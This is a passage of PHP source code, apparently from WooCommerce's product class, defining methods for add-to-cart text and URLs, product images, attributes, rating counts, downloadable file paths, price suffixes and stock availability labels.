? 1 : ( $this->backorders_allowed() || ! $this->managing_stock() ? -1 : $this->get_stock_quantity() ); } /** * Get the add to url used mainly in loops. * * @return string */ public function add_to_cart_url() { return apply_filters( 'woocommerce_product_add_to_cart_url', $this->get_permalink(), $this ); } /** * Get the add to cart button text for the single page. * * @return string */ public function single_add_to_cart_text() { return apply_filters( 'woocommerce_product_single_add_to_cart_text', __( 'Add to cart', 'woocommerce' ), $this ); } /** * Get the add to cart button text. * * @return string */ public function add_to_cart_text() { return apply_filters( 'woocommerce_product_add_to_cart_text', __( 'Read more', 'woocommerce' ), $this ); } /** * Get the add to cart button text description - used in aria tags. * * @since 3.3.0 * @return string */ public function add_to_cart_description() { /* translators: %s: Product title */ return apply_filters( 'woocommerce_product_add_to_cart_description', sprintf( __( 'Read more about “%s”', 'woocommerce' ), $this->get_name() ), $this ); } /** * Returns the main product image. * * @param string $size (default: 'woocommerce_thumbnail'). * @param array $attr Image attributes. * @param bool $placeholder True to return $placeholder if no image is found, or false to return an empty string. * @return string */ public function get_image( $size = 'woocommerce_thumbnail', $attr = array(), $placeholder = true ) { $image = ''; if ( $this->get_image_id() ) { $image = wp_get_attachment_image( $this->get_image_id(), $size, false, $attr ); } elseif ( $this->get_parent_id() ) { $parent_product = wc_get_product( $this->get_parent_id() ); if ( $parent_product ) { $image = $parent_product->get_image( $size, $attr, $placeholder ); } } if ( ! $image && $placeholder ) { $image = wc_placeholder_img( $size, $attr ); } return apply_filters( 'woocommerce_product_get_image', $image, $this, $size, $attr, $placeholder, $image ); } /** * Returns the product shipping class SLUG. * * @return string */ public function get_shipping_class() { $class_id = $this->get_shipping_class_id(); if ( $class_id ) { $term = get_term_by( 'id', $class_id, 'product_shipping_class' ); if ( $term && ! is_wp_error( $term ) ) { return $term->slug; } } return ''; } /** * Returns a single product attribute as a string. * * @param string $attribute to get. * @return string */ public function get_attribute( $attribute ) { $attributes = $this->get_attributes(); $attribute = sanitize_title( $attribute ); if ( isset( $attributes[ $attribute ] ) ) { $attribute_object = $attributes[ $attribute ]; } elseif ( isset( $attributes[ 'pa_' . $attribute ] ) ) { $attribute_object = $attributes[ 'pa_' . $attribute ]; } else { return ''; } return $attribute_object->is_taxonomy() ? implode( ', ', wc_get_product_terms( $this->get_id(), $attribute_object->get_name(), array( 'fields' => 'names' ) ) ) : wc_implode_text_attributes( $attribute_object->get_options() ); } /** * Get the total amount (COUNT) of ratings, or just the count for one rating e.g. number of 5 star ratings. * * @param int $value Optional. Rating value to get the count for. By default returns the count of all rating values. * @return int */ public function get_rating_count( $value = null ) { $counts = $this->get_rating_counts(); if ( is_null( $value ) ) { return array_sum( $counts ); } elseif ( isset( $counts[ $value ] ) ) { return absint( $counts[ $value ] ); } else { return 0; } } /** * Get a file by $download_id. * * @param string $download_id file identifier. * @return array|false if not found */ public function get_file( $download_id = '' ) { $files = $this->get_downloads(); if ( '' === $download_id ) { $file = count( $files ) ? current( $files ) : false; } elseif ( isset( $files[ $download_id ] ) ) { $file = $files[ $download_id ]; } else { $file = false; } return apply_filters( 'woocommerce_product_file', $file, $this, $download_id ); } /** * Get file download path identified by $download_id. * * @param string $download_id file identifier. * @return string */ public function get_file_download_path( $download_id ) { $files = $this->get_downloads(); $file_path = isset( $files[ $download_id ] ) ? $files[ $download_id ]->get_file() : ''; // allow overriding based on the particular file being requested. return apply_filters( 'woocommerce_product_file_download_path', $file_path, $this, $download_id ); } /** * Get the suffix to display after prices > 0. * * @param string $price to calculate, left blank to just use get_price(). * @param integer $qty passed on to get_price_including_tax() or get_price_excluding_tax(). * @return string */ public function get_price_suffix( $price = '', $qty = 1 ) { $html = ''; $suffix = get_option( 'woocommerce_price_display_suffix' ); if ( $suffix && wc_tax_enabled() && 'taxable' === $this->get_tax_status() ) { if ( '' === $price ) { $price = $this->get_price(); } $replacements = array( '{price_including_tax}' => wc_price( wc_get_price_including_tax( $this, array( 'qty' => $qty, 'price' => $price ) ) ), // @phpcs:ignore WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine, WordPress.Arrays.ArrayDeclarationSpacing.AssociativeArrayFound '{price_excluding_tax}' => wc_price( wc_get_price_excluding_tax( $this, array( 'qty' => $qty, 'price' => $price ) ) ), // @phpcs:ignore WordPress.Arrays.ArrayDeclarationSpacing.AssociativeArrayFound ); $html = str_replace( array_keys( $replacements ), array_values( $replacements ), ' <small class="woocommerce-price-suffix">' . wp_kses_post( $suffix ) . '</small>' ); } return apply_filters( 'woocommerce_get_price_suffix', $html, $this, $price, $qty ); } /** * Returns the availability of the product. * * @return string[] */ public function get_availability() { return apply_filters( 'woocommerce_get_availability', array( 'availability' => $this->get_availability_text(), 'class' => $this->get_availability_class(), ), $this ); } /** * Get availability text based on stock status. * * @return string */ protected function get_availability_text() { if ( ! $this->is_in_stock() ) { $availability = __( 'Out of stock', 'woocommerce' ); } elseif ( $this->managing_stock() && $this->is_on_backorder( 1 ) ) { $availability = $this->backorders_require_notification() ? __( 'Available on backorder', 'woocommerce' ) : ''; } elseif ( ! $this->managing_stock() && $this->is_on_backorder( 1 ) ) { $availability = __( 'Available on backorder', 'woocommerce' ); } elseif ( $this->managing_stock() ) { $availability = wc_format_stock_for_display( $this ); } else { $availability = ''; } return apply_filters( 'woocommerce_get_availability_text', $availability, $this ); } /** * Get availability classname based on stock status. * * @return string */ protected function get_availability_class() { if ( ! $this->is_in_stock() ) { $class = 'out-of-stock'; } elseif ( ( $this->managing_stock() && $this->is_on_backorder( 1 ) ) || ( ! $this->managing_stock() && $this->is_on_backorder( 1 ) ) ) { $class = 'available-on-backorder'; } else { $class = 'in-stock'; } return apply_filters( 'woocommerce_get_availability_class', $class, $this ); } }